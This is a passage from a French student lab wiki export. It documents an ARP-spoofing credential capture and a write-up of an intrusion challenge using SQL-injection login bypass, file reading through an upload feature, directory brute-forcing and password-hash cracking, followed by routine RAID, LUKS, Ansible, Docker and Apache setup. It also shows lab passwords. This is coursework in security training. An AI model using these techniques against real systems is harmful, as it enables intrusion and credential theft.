 arpspoof -i eth0 -t 172.26.145.254 172.26.145.60 &lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.60 172.26.145.254 &lt;br /&gt;
&lt;br /&gt;
La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.&lt;br /&gt;
&lt;br /&gt;
En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparante. &lt;br /&gt;
&lt;br /&gt;
La machine victime va maintenant se connecter sur un serveur web HTTP.&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark sur la machine attaquante nous observons les paquets suivants :&lt;br /&gt;
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d’application Web===&lt;br /&gt;
&lt;br /&gt;
Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :&lt;br /&gt;
&lt;br /&gt;
 nmap -A -T4 honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Nous voyons que le serveur héberge deux services :&lt;br /&gt;
Un service de connexion ssh, inutilisable sans login et mot de passe&lt;br /&gt;
Un service web.&lt;br /&gt;
&lt;br /&gt;
Nous essayons donc de commencer par attaquer le site web honey.plil.info&lt;br /&gt;
&lt;br /&gt;
Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.&lt;br /&gt;
Les requêtes SQL de connexions sont souvent de la forme : &lt;br /&gt;
Select … From … Where login = « username » AND password = « password ».&lt;br /&gt;
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :&lt;br /&gt;
- La première permet d’uploader un fichier qui est stocké sur le pc du server&lt;br /&gt;
- La deuxième permet de lire ce fichier.&lt;br /&gt;
&lt;br /&gt;
Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.&lt;br /&gt;
&lt;br /&gt;
Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.&lt;br /&gt;
&lt;br /&gt;
 dirb -r honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme &amp;quot;glopglop&amp;quot; et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n amanite-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid3,xvda7,w'&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
Puis nous redémarrons notre VM.&lt;br /&gt;
 xl destroy amanite&lt;br /&gt;
 xl create /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
Après avoir relancer notre VM, nous installons le paquet mdadm.&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
Nous formatons notre volume RAID.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
Et nous rajoutons la ligne suivante dans /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /raid5 ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Nous pouvons avoir des détails notre volume grâce à la commande : &lt;br /&gt;
 mdadm --detail /dev/md0&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous montons et peuplons notre volume RAID.&lt;br /&gt;
 mount /dev/md0 /mnt&lt;br /&gt;
 touch coucou.txt&lt;br /&gt;
&lt;br /&gt;
A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Nous déclarons un de nos disques comme étant en défaillance :&lt;br /&gt;
&lt;br /&gt;
 mdadm --set-faulty /dev/md0 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Puis nous l'enlevons de notre volume RAID :&lt;br /&gt;
 mdadm --remove /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :&lt;br /&gt;
 mdadm --manage /dev/md0 --add /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
===Chiffrement de données===&lt;br /&gt;
&lt;br /&gt;
Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.&lt;br /&gt;
&lt;br /&gt;
Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.&lt;br /&gt;
 &lt;br /&gt;
 mount /dev/mapper/crypt_sdb /mnt&lt;br /&gt;
&lt;br /&gt;
Puis nous y ajoutons un fichier.&lt;br /&gt;
&lt;br /&gt;
 touch /mnt/test.txt&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.&lt;br /&gt;
&lt;br /&gt;
 umount /mnt&lt;br /&gt;
 cryptsetup luksClose crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.&lt;br /&gt;
&lt;br /&gt;
===Inspection ARP par un élément réseau===&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation WiFi par WPA2-EAP===&lt;br /&gt;
&lt;br /&gt;
== TP ASR ==&lt;br /&gt;
&lt;br /&gt;
=== Architecture de la ferme ===&lt;br /&gt;
&lt;br /&gt;
Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.  &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1 par rapport à notre autre interface. &lt;br /&gt;
&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ] &lt;br /&gt;
&lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface                                                                                                                              &lt;br /&gt;
 auto eth0                                                                                                                                                    &lt;br /&gt;
 iface eth0 inet static                                                                                                                                        &lt;br /&gt;
 address 193.48.57.184                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.255                                                                                                                                      &lt;br /&gt;
 up ip address add dev eth0 100.64.0.24/24                                                                                                                    &lt;br /&gt;
 up ip route add default via 100.64.0.2 src 193.48.57.184                                                                                                     &lt;br /&gt;
 down ip address del dev eth0 100.64.0.24/24                                                                                                                  &lt;br /&gt;
 down ip route del default via 100.64.0.2 src 193.48.57.184                                                                                                                                                                                                                                                               &lt;br /&gt;
 &lt;br /&gt;
 # The secondary network interface                                                                                                                            &lt;br /&gt;
 auto eth1                                                                                                                                                    &lt;br /&gt;
 iface eth1 inet static                                                                                                                                        &lt;br /&gt;
 address 192.168.42.19                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.0 &lt;br /&gt;
&lt;br /&gt;
Nous avons mis en place notre propre mascarade avec les commandes suivantes :&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184&lt;br /&gt;
Ce qui permet à nos paquets en provenance de 192.168.45.5 (machine sur chassiron) de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder a des &amp;quot;apt install&amp;quot; et ne plus être considérer comme des hackeur russes malveillants.&lt;br /&gt;
&lt;br /&gt;
Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier &amp;quot;/etc/sysctl.conf&amp;quot; pour activer l'ip forwarding pour les paquets IPV4.&lt;br /&gt;
&lt;br /&gt;
A la fin de cette partie nous sommes capables de ping les machines entre elles.&lt;br /&gt;
 &lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0                                                                                                               &lt;br /&gt;
 iface eth0 inet static                                                                                                    &lt;br /&gt;
 address 192.168.42.5/24                                                                                                 &lt;br /&gt;
 gateway 192.168.42.19 &lt;br /&gt;
&lt;br /&gt;
Nous avons également modifié notre fichier /etc/resolv.conf :&lt;br /&gt;
 domain plil.info                                                                                                        &lt;br /&gt;
 search plil.info plil.fr                                                                                                &lt;br /&gt;
 nameserver 192.168.42.19&lt;br /&gt;
&lt;br /&gt;
Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d.&lt;br /&gt;
&lt;br /&gt;
Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école. A la fin de cette partie la machine sur chassiron est capable de ping google.&lt;br /&gt;
&lt;br /&gt;
'''Clés SSH'''&lt;br /&gt;
&lt;br /&gt;
Génération d’une paire de clef asymétrique :&lt;br /&gt;
 ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Ces clés sont stocké coté capbreton dans le dossier /.ssh&lt;br /&gt;
&lt;br /&gt;
Par la suite nous installons la clef publique sur nos cibles (les machines sur chassiron) :&lt;br /&gt;
 cat .ssh/id_rsa.pub | ssh 192.168.42.5 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
Cette manipulation est cruciale pour ansible, sans cette dernière ansible ne peut fonctionner correctement&lt;br /&gt;
&lt;br /&gt;
'''Installation d'Ansible'''&lt;br /&gt;
&lt;br /&gt;
Installation via la commande :&lt;br /&gt;
 apt install ansible&lt;br /&gt;
&lt;br /&gt;
L'étape suivante consiste à créer un inventaire hosts dans /etc/ansible :&lt;br /&gt;
 [webserver]                                                                                                             &lt;br /&gt;
 192.168.42.5                                                                                                                                                                                                                                    &lt;br /&gt;
 &lt;br /&gt;
 [webservers]                                                                                                            &lt;br /&gt;
 192.168.42.5                                                                                                            &lt;br /&gt;
 192.168.42.2                                                                                                            &lt;br /&gt;
 192.168.42.4                                                                                                            &lt;br /&gt;
 192.168.42.7                                                                                                            &lt;br /&gt;
 192.168.42.9                                                                                                            &lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
Ce fichier répertorie nos différentes cibles en séparent webserver qui est une cible ne contenant que notre machine virtuelle secondaire et webservers qui contient l'ensemble des machines virtuelles du groupe 2. Nous pouvons effectuer une première vérification grâce à la commande ansible : &lt;br /&gt;
 ansible webserver -a &amp;quot;lsb_release -d&amp;quot;&lt;br /&gt;
&lt;br /&gt;
L'étape suivant consiste à tester ansible.&lt;br /&gt;
Pour ce faire nous créons un role basic qui contient la tache main.yml, voici son contenu :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed                                                                                           &lt;br /&gt;
 apt:                                                                                                                            &lt;br /&gt;
        update_cache: yes                                                                                                       &lt;br /&gt;
        name: &amp;quot;{ { packages } }&amp;quot;                                                                                         &lt;br /&gt;
 vars:                                                                                                                           &lt;br /&gt;
        packages:                                                                                                                       &lt;br /&gt;
                - ntp                                                                                                                   &lt;br /&gt;
                - python3                                                                                                               &lt;br /&gt;
                - python3-pip                                                                                                                                                                                                                 &lt;br /&gt;
 &lt;br /&gt;
 - name: docker                                                                                                            &lt;br /&gt;
 pip:                                                                                                                            &lt;br /&gt;
         name: docker                                                                                                                                                                                                                          &lt;br /&gt;
 &lt;br /&gt;
 - name: maj ntp                                                                                                           &lt;br /&gt;
 copy:                                                                                                                           &lt;br /&gt;
         src: &amp;quot;/etc/ntp.conf&amp;quot;                                                                                                    &lt;br /&gt;
         dest: &amp;quot;/etc/ntp.conf&amp;quot;                                                                                                   &lt;br /&gt;
         owner: root                                                                                                             &lt;br /&gt;
         group: root                                                                                                             &lt;br /&gt;
         mode: '0644'&lt;br /&gt;
                                                                                                                                                                                                                           &lt;br /&gt;
 - name: maj motd                                                                                                          &lt;br /&gt;
 copy:                                                                                                                           &lt;br /&gt;
         src: &amp;quot;/etc/motd&amp;quot;                                                                                                        &lt;br /&gt;
         dest: &amp;quot;/etc/motd&amp;quot;                                                                                                       &lt;br /&gt;
         owner: root                                                                                                             &lt;br /&gt;
         group: root                                                                                                             &lt;br /&gt;
         mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce role s'assure qui les packages ntp, python3, python3-pip et docker son bien installé et met à jour ntp et motd en copiant leurs configurations qui est présente sur notre machine virtuelle de capbreton. La modification est bien prise en compte est peut être vérifier en se connectant en ssh sur notre machine de chassiron via la commande ssh root@192.168.42.5&lt;br /&gt;
&lt;br /&gt;
=== Installation de docker ===&lt;br /&gt;
&lt;br /&gt;
Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed&lt;br /&gt;
   apt:&lt;br /&gt;
        update_cache: yes&lt;br /&gt;
        name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
        packages:&lt;br /&gt;
                - python3&lt;br /&gt;
                - python3-pip&lt;br /&gt;
&lt;br /&gt;
Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible (récupérer sur ansible galaxy).&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé notre playbook pour déployer nos commandes :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webserver&lt;br /&gt;
   roles:&lt;br /&gt;
          - basic&lt;br /&gt;
          - geerlingguy.docker&lt;br /&gt;
   vars:&lt;br /&gt;
         docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
         docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Création de notre conteneur ===&lt;br /&gt;
&lt;br /&gt;
Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY . /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [&amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé l'image du Dockerfile :&lt;br /&gt;
 docker build -t web .&lt;br /&gt;
&lt;br /&gt;
Puis nous avons lancé notre container&lt;br /&gt;
 docker run -d -p &amp;quot;8085:80&amp;quot; --name web web&lt;br /&gt;
&lt;br /&gt;
Plusieurs commandes nous permettent de vérifier le bon fonctionnement : &lt;br /&gt;
 docker images (Affichage des différentes images docker installées)&lt;br /&gt;
 docker ps -a (Affichage des différents containeur en cours d'exécution)&lt;br /&gt;
&lt;br /&gt;
Nous avons pu vérifier le bon fonctionnement de celui-ci grâce a la commande suivante :&lt;br /&gt;
 curl 193.48.57.184:8085&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire (après avoir préalablement installer la collection via la commande : ansible-galaxy collection install community.general) :&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Après cela nous avons voulu push notre image &amp;quot;web&amp;quot; vers notre dépôt mais une erreur est survenue, celle-ci vient du fait qu'il fallait rajouter le fichier daemon.json dans le dossier &amp;quot;/etc/docker/&amp;quot; afin de ne pas utiliser une connexion sécurisée.&lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
       &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.5:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier modifié nous avons pu utiliser les commandes :&lt;br /&gt;
 docker tag web 192.168.42.5:5000/webserver&lt;br /&gt;
 docker push 192.168.42.5:5000/webserver&lt;br /&gt;
&lt;br /&gt;
Puis coté chassiron : &lt;br /&gt;
 docker pull 192.168.42.5:5000/webserver&lt;br /&gt;
&lt;br /&gt;
=== Configuration de nos serveurs internes ===&lt;br /&gt;
&lt;br /&gt;
Pour voir déployer nos containeurs sur tous les serveurs disponibles sur chassirons nous avons d'abord créé notre role &amp;quot;new_container&amp;quot; :&lt;br /&gt;
&lt;br /&gt;
 - name: Create a container&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: amanite_container&lt;br /&gt;
          image: 192.168.42.5:5000/webserver_amanite&lt;br /&gt;
          ports:&lt;br /&gt;
                  - &amp;quot;8085:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Ce role permet (après avoir push sur le registry de notre seconde machine virtuelle), d'installer l'image webserver_amanite sur l'ensemble des machine qui sont dans l'hote webservers.&lt;br /&gt;
Sur ces machines virtuelles, il faut également rajouter au fichier daemon.json (dans le dossier /etc/docker) l'ensemble des repository non sécurisés (afin d'y prendre les images).&lt;br /&gt;
&lt;br /&gt;
Puis nous avons déployé notre container grâce à notre playbook :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webservers&lt;br /&gt;
   roles:&lt;br /&gt;
          - new_container&lt;br /&gt;
&lt;br /&gt;
=== Equilibreur de charge ===&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite ajouté le serveur web virtuel reverse.amanite.site, puis nous avons activé les modules apaches suivants (pour l'ensemble de nos étapes) :&lt;br /&gt;
&lt;br /&gt;
 a2enmod proxy&lt;br /&gt;
 a2enmod proxy_http&lt;br /&gt;
 a2enmod proxy_balancer&lt;br /&gt;
 a2enmod lbmethod_byrequests&lt;br /&gt;
&lt;br /&gt;
Pour notre première partie nous avons modifier notre fichier amanite.site.db (qui se situe dans /etc/bind/zones) et nous y avons rajouter la ligne :&lt;br /&gt;
 reverse IN      CNAME   www&lt;br /&gt;
(Nous n'oublions pas d'incrémenter le numéro de version, de signer la zones pour DNSSEC ainsi que redémarrer le service bind9).&lt;br /&gt;
&lt;br /&gt;
Par la suite nous avons rajouter un site dans /etc/apache2/site-available que nous nommons reverse.conf :&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;                                                                                                              &lt;br /&gt;
         ServerName reverse.amanite.site    &lt;br /&gt;
         ServerAdmin lolopierro                                                                                                                                                                                               &lt;br /&gt;
         ProxyPass / http://192.168.42.5:8085                                                                                      &lt;br /&gt;
         ProxyPassReverse / http://192.168.42.5:8085                                                                                                                                                                          &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Que nous ajoutons à nos sites enable via la commande : a2ensite reverse.conf, puis nous redémarrons le service apache2.&lt;br /&gt;
Après cette étape notre site est accessible via l'URL reverse.amanite.conf (qui est pour le moment accessible via notre seule machine virtuelle secondaire sur chassiron).&lt;br /&gt;
&lt;br /&gt;
Dans un second temps nous avons modifié notre fichier de configuration reverse.conf afin d'y rajouter de l'équilibrage de charge :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
         ServerName reverse.amanite.site&lt;br /&gt;
         ServerAdmin lolopierro&lt;br /&gt;
         &amp;lt;Proxy &amp;quot;balancer://mycluster&amp;quot;&amp;gt;&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.5:8085&amp;quot; route=1&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.2:8085&amp;quot; route=2&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.4:8085&amp;quot; route=3&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.7:8085&amp;quot; route=4&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.9:8085&amp;quot; route=5&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.12:8085&amp;quot; route=6&lt;br /&gt;
                 ProxySet lbmethod=byrequests&lt;br /&gt;
         &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
         ProxyPass / balancer://mycluster/&lt;br /&gt;
         ProxyPassReverse / balancer://mycluster/&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier notre loadbalancing nous avons modifié notre page index.html, puis nous avons build notre nouvelle image docker contenant cette page html, nous l'avons push sur le registry et pull depuis notre machine amanite sur Chassiron. Nous avons ensuite relancé notre playbook nous permettant de déployer cette image sur toutes les machines secondaires virtuelles, mais seul notre machine amanite (car nous avons pull sur cette machine) et les machines n'ayant pas eu le déploiement avant on été actualisé. Cela nous permet de bien vérifier notre loadbalancing.&lt;br /&gt;
&lt;br /&gt;
Une deuxième méthode pour vérifier celui-ci est l'ajout du module status sur apache :&lt;br /&gt;
&lt;br /&gt;
 a2enmod status&lt;br /&gt;
&lt;br /&gt;
Puis nous avons modifié notre fichier de configuration reverse.conf en y ajoutant les lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Location &amp;quot;/server-status&amp;quot;&amp;gt;&lt;br /&gt;
          SetHanlder server-status&lt;br /&gt;
          Order Allow,Deny&lt;br /&gt;
          Allow from all&lt;br /&gt;
 &amp;lt;/Location&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Malheureusement nous n'arrivons pas à accéder à la page reverse.amanite.site/server-status malgré les différentes recherches effectuées.&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55078</id>
		<title>TP sysres IMA5sc 2020/2021 G5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55078"/>
				<updated>2020-12-20T14:58:33Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : /* Configuration des LV */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 305&lt;br /&gt;
| 100.64.0.24&lt;br /&gt;
| 255.255.255.0&lt;br /&gt;
| 100.64.0.254&lt;br /&gt;
| 100.64.0.1&lt;br /&gt;
| 100.64.0.2&lt;br /&gt;
| 193.48.57.184&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh :&lt;br /&gt;
&lt;br /&gt;
ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Création de la VM Xen :&lt;br /&gt;
&lt;br /&gt;
&amp;gt; su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)&lt;br /&gt;
&lt;br /&gt;
&amp;gt; xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster &lt;br /&gt;
&lt;br /&gt;
Résultat de la commande :&lt;br /&gt;
 General Information&lt;br /&gt;
 --------------------&lt;br /&gt;
 Hostname       :  amanite&lt;br /&gt;
 Distribution   :  buster&lt;br /&gt;
 Mirror         :  http://deb.debian.org/debian&lt;br /&gt;
 Partitions     :  swap            512M  (swap)&lt;br /&gt;
                  /               4G    (ext4)&lt;br /&gt;
 Image type     :  sparse&lt;br /&gt;
 Memory size    :  256M&lt;br /&gt;
 Kernel path    :  /boot/vmlinuz-4.19.0-9-amd64&lt;br /&gt;
 Initrd path    :  /boot/initrd.img-4.19.0-9-amd64&lt;br /&gt;
&lt;br /&gt;
 Networking Information&lt;br /&gt;
 ----------------------&lt;br /&gt;
 IP Address 1   : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]&lt;br /&gt;
 Netmask        : 255.255.255.0&lt;br /&gt;
 Gateway        : 100.64.0.5&lt;br /&gt;
&lt;br /&gt;
===Configuration des LV===&lt;br /&gt;
&lt;br /&gt;
